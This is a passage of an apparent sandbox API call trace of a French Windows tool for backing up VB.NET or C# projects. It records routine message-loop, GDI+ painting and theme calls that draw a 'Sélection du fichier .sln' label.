returned 1 [0225.501] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.501] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.501] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.501] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x701068c [0225.501] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.502] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x14, wParam=0x701068c, lParam=0x0) returned 0x1 [0225.502] GetStockObject (i=5) returned 0x1900015 [0225.502] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.502] CreateCompatibleDC (hdc=0x701068c) returned 0x380106a3 [0225.502] SelectObject (hdc=0x380106a3, h=0xa0506be) returned 0x185000f [0225.502] GdipCreateFromHDC (hdc=0x380106a3, graphics=0x52ea94) returned 0x0 [0225.502] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.502] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0225.502] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0225.502] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.502] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0225.502] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.502] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.502] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.502] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.502] GdipCreateRegion (region=0x52eadc) returned 0x0 [0225.502] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.502] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0225.502] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0225.502] GdipRestoreGraphics (graphics=0x4da5930, state=0xfda10dbd) returned 0x0 [0225.502] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.503] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0225.503] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.503] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.503] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.503] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.503] SaveDC (hdc=0x380106a3) returned 1 [0225.503] GetNearestColor (hdc=0x380106a3, color=0xf0f0f0) returned 0xf0f0f0 [0225.503] GetNearestColor (hdc=0x380106a3, color=0xa0a0a0) returned 0xa0a0a0 [0225.503] GetNearestColor (hdc=0x380106a3, color=0x696969) returned 0x696969 [0225.503] GetNearestColor (hdc=0x380106a3, color=0xa0a0a0) returned 0xa0a0a0 [0225.503] GetNearestColor (hdc=0x380106a3, color=0x0) returned 0x0 [0225.503] GetNearestColor (hdc=0x380106a3, color=0xffffff) returned 0xffffff [0225.503] GetNearestColor (hdc=0x380106a3, color=0xe5e5e5) returned 0xe5e5e5 [0225.503] GetNearestColor (hdc=0x380106a3, color=0xd7d7d7) returned 0xd7d7d7 [0225.503] GetNearestColor (hdc=0x380106a3, color=0x0) returned 0x0 [0225.503] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.503] GdipReleaseDC (graphics=0x4da5930, hdc=0x380106a3) returned 0x0 [0225.503] IsAppThemed () returned 0x1 [0225.503] GetThemeAppProperties () returned 0x3 [0225.503] GetThemeAppProperties () returned 0x3 [0225.503] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23a6338 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetFocus () returned 0x0 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] IsThemePartDefined () returned 0x1 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] IsAppThemed () returned 0x1 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] GetThemeAppProperties () returned 0x3 [0225.504] IsThemePartDefined () returned 0x1 [0225.504] GdipCreateRegion (region=0x52e804) returned 0x0 [0225.504] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.504] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0225.504] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.504] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0225.504] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.505] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.505] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.505] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.505] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.505] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.505] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.505] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0225.505] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0225.505] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0225.505] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.505] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0225.505] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.505] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.505] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.505] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.505] SaveDC (hdc=0x380106a3) returned 1 [0225.505] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5d040221 [0225.505] GetClipRgn (hdc=0x380106a3, hrgn=0x5d040221) returned 0 [0225.505] SelectClipRgn (hdc=0x380106a3, hrgn=0x370401e4) returned 2 [0225.505] DeleteObject (ho=0x5d040221) returned 1 [0225.505] DeleteObject (ho=0x370401e4) returned 1 [0225.505] OffsetViewportOrgEx (in: hdc=0x380106a3, x=0, y=0, lppt=0x23a69e8 | out: lppt=0x23a69e8) returned 1 [0225.505] DrawThemeParentBackground () returned 0x0 [0225.505] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0225.505] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0225.506] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0225.506] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.506] GetSystemMetrics (nIndex=42) returned 0 [0225.506] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.506] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0225.506] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.506] SaveDC (hdc=0x380106a3) returned 2 [0225.506] GetNearestColor (hdc=0x380106a3, color=0xf0f0f0) returned 0xf0f0f0 [0225.506] CreateSolidBrush (color=0xf0f0f0) returned 0x131006b3 [0225.506] FillRect (hDC=0x380106a3, lprc=0x52e314, hbr=0x131006b3) returned 1 [0225.506] DeleteObject (ho=0x131006b3) returned 1 [0225.506] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.506] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0225.506] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.506] GetSystemMetrics (nIndex=42) returned 0 [0225.506] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.506] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0225.506] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.506] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.507] SaveDC (hdc=0x380106a3) returned 2 [0225.507] GetNearestColor (hdc=0x380106a3, color=0xf0f0f0) returned 0xf0f0f0 [0225.507] CreateSolidBrush (color=0xf0f0f0) returned 0x141006b3 [0225.507] FillRect (hDC=0x380106a3, lprc=0x52e2b4, hbr=0x141006b3) returned 1 [0225.507] DeleteObject (ho=0x141006b3) returned 1 [0225.507] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.507] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0225.507] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.507] GetSystemMetrics (nIndex=42) returned 0 [0225.507] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.507] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0225.507] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.507] GdipReleaseDC (graphics=0x4da5930, hdc=0x380106a3) returned 0x0 [0225.507] IsAppThemed () returned 0x1 [0225.507] GetThemeAppProperties () returned 0x3 [0225.507] GetThemeAppProperties () returned 0x3 [0225.507] IsAppThemed () returned 0x1 [0225.507] GetThemeAppProperties () returned 0x3 [0225.507] GetThemeAppProperties () returned 0x3 [0225.507] IsThemePartDefined () returned 0x1 [0225.507] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0225.507] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.507] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0225.507] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.507] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0225.507] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.507] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.507] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.507] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.508] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.508] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.508] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.508] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0225.508] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0225.508] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0225.508] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.508] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0225.509] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.509] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.509] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.509] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.509] SaveDC (hdc=0x380106a3) returned 1 [0225.509] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x380401e4 [0225.509] GetClipRgn (hdc=0x380106a3, hrgn=0x380401e4) returned 0 [0225.509] SelectClipRgn (hdc=0x380106a3, hrgn=0x5f040221) returned 2 [0225.509] DeleteObject (ho=0x380401e4) returned 1 [0225.509] DeleteObject (ho=0x5f040221) returned 1 [0225.509] OffsetViewportOrgEx (in: hdc=0x380106a3, x=0, y=0, lppt=0x23a7420 | out: lppt=0x23a7420) returned 1 [0225.509] IsAppThemed () returned 0x1 [0225.509] GetThemeAppProperties () returned 0x3 [0225.509] GetThemeAppProperties () returned 0x3 [0225.509] DrawThemeBackground () returned 0x0 [0225.509] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.509] GdipReleaseDC (graphics=0x4da5930, hdc=0x380106a3) returned 0x0 [0225.509] GdipCreateRegion (region=0x52e790) returned 0x0 [0225.510] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.510] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0225.510] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.510] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0225.510] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.510] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.510] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.510] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.510] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.510] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.510] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.510] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0225.510] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0225.510] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0225.510] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.510] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0225.510] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.510] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.510] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.510] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.510] SaveDC (hdc=0x380106a3) returned 1 [0225.511] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x60040221 [0225.511] GetClipRgn (hdc=0x380106a3, hrgn=0x60040221) returned 0 [0225.511] SelectClipRgn (hdc=0x380106a3, hrgn=0x390401e4) returned 2 [0225.511] DeleteObject (ho=0x60040221) returned 1 [0225.511] DeleteObject (ho=0x390401e4) returned 1 [0225.511] OffsetViewportOrgEx (in: hdc=0x380106a3, x=0, y=0, lppt=0x23a76f4 | out: lppt=0x23a76f4) returned 1 [0225.511] IsAppThemed () returned 0x1 [0225.511] GetThemeAppProperties () returned 0x3 [0225.511] GetThemeAppProperties () returned 0x3 [0225.511] GetThemeBackgroundContentRect () returned 0x0 [0225.511] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.511] GdipReleaseDC (graphics=0x4da5930, hdc=0x380106a3) returned 0x0 [0225.511] IsAppThemed () returned 0x1 [0225.511] GetThemeAppProperties () returned 0x3 [0225.511] GetThemeAppProperties () returned 0x3 [0225.511] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0225.511] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0225.511] GetCurrentObject (hdc=0x380106a3, type=0x1) returned 0x1b00017 [0225.511] GetCurrentObject (hdc=0x380106a3, type=0x2) returned 0x1900010 [0225.511] GetCurrentObject (hdc=0x380106a3, type=0x7) returned 0xa0506be [0225.511] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.511] SaveDC (hdc=0x380106a3) returned 1 [0225.511] GetTextAlign (hdc=0x380106a3) returned 0x0 [0225.511] GetTextColor (hdc=0x380106a3) returned 0x0 [0225.512] GetCurrentObject (hdc=0x380106a3, type=0x6) returned 0x18a002e [0225.512] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0225.512] SelectObject (hdc=0x380106a3, h=0xc0a01e7) returned 0x18a002e [0225.512] GetBkMode (hdc=0x380106a3) returned 2 [0225.512] SetBkMode (hdc=0x380106a3, mode=1) returned 2 [0225.512] DrawTextExW (in: hdc=0x380106a3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x23a7a88 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0225.512] DrawTextExW (in: hdc=0x380106a3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x23a7a88 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0225.512] RestoreDC (hdc=0x380106a3, nSavedDC=-1) returned 1 [0225.512] GdipReleaseDC (graphics=0x4da5930, hdc=0x380106a3) returned 0x0 [0225.512] GetFocus () returned 0x0 [0225.512] IsAppThemed () returned 0x1 [0225.512] GetThemeAppProperties () returned 0x3 [0225.512] GetThemeAppProperties () returned 0x3 [0225.513] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0225.513] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x380106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.513] GdipReleaseDC (graphics=0x4da5930, hdc=0x380106a3) returned 0x0 [0225.513] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.513] SelectObject (hdc=0x380106a3, h=0x185000f) returned 0xa0506be [0225.513] DeleteDC (hdc=0x380106a3) returned 1 [0225.514] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0225.514] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0225.514] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.514] IsWindowUnicode (hWnd=0x101a4) returned 1 [0225.514] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.514] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.514] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.514] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0225.514] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0225.514] WaitMessage () returned 1 [0225.586] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.586] IsWindowUnicode (hWnd=0x101a6) returned 1 [0225.586] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.586] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.586] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.586] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0225.586] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0225.586] WaitMessage () returned 1 [0226.366] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.366] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0226.366] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0226.419] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0226.419] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0226.419] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0226.419] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0226.419] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0226.419] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0226.419] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0226.419] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0226.419] NtdllDefWindowProc_W () returned 0x0 [0226.419] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0226.426] GetFocus () returned 0x0 [0226.426] SetFocus (hWnd=0x10186) returned 0x0 [0226.426] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0226.426] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0226.426] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0226.426] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0226.426] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0226.426] GetStockObject (i=5) returned 0x1900015 [0226.426] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0226.426] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x69a208) returned 0x19 [0226.426] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0226.426] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0226.426] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0226.427] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0226.427] IsWindowUnicode (hWnd=0x10186) returned 1 [0226.427] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.427] TranslateMessage (lpMsg=0x52ef98) returned 0 [0226.427] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0226.427] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.427] IsWindowUnicode (hWnd=0x10186) returned 1 [0226.427] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.427] GetKeyState (nVirtKey=16) returned 0 [0226.427] GetKeyState (nVirtKey=17) returned 0 [0226.427] GetKeyState (nVirtKey=18) returned -128 [0226.427] TranslateMessage (lpMsg=0x52ef98) returned 1 [0226.427] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0226.427] GetKeyState (nVirtKey=16) returned 0 [0226.427] GetKeyState (nVirtKey=17) returned 0 [0226.427] GetKeyState (nVirtKey=18) returned -128 [0226.427] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0226.427] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.427] IsWindowUnicode (hWnd=0x10186) returned 1 [0226.427] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.427] GetKeyState (nVirtKey=16) returned 0 [0226.427] GetKeyState (nVirtKey=17) returned 0 [0226.427] GetKeyState (nVirtKey=18) returned 0 [0226.427] TranslateMessage (lpMsg=0x52ef98) returned 1 [0226.427] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0226.428] GetKeyState (nVirtKey=16) returned 0 [0226.428] GetKeyState (nVirtKey=17) returned 0 [0226.428] GetKeyState (nVirtKey=18) returned 0 [0226.428] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0226.428] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.428] IsWindowUnicode (hWnd=0x10186) returned 1 [0226.428] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.428] TranslateMessage (lpMsg=0x52ef98) returned 0 [0226.428] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0226.428] BeginPaint (in: hWnd=0x10186, 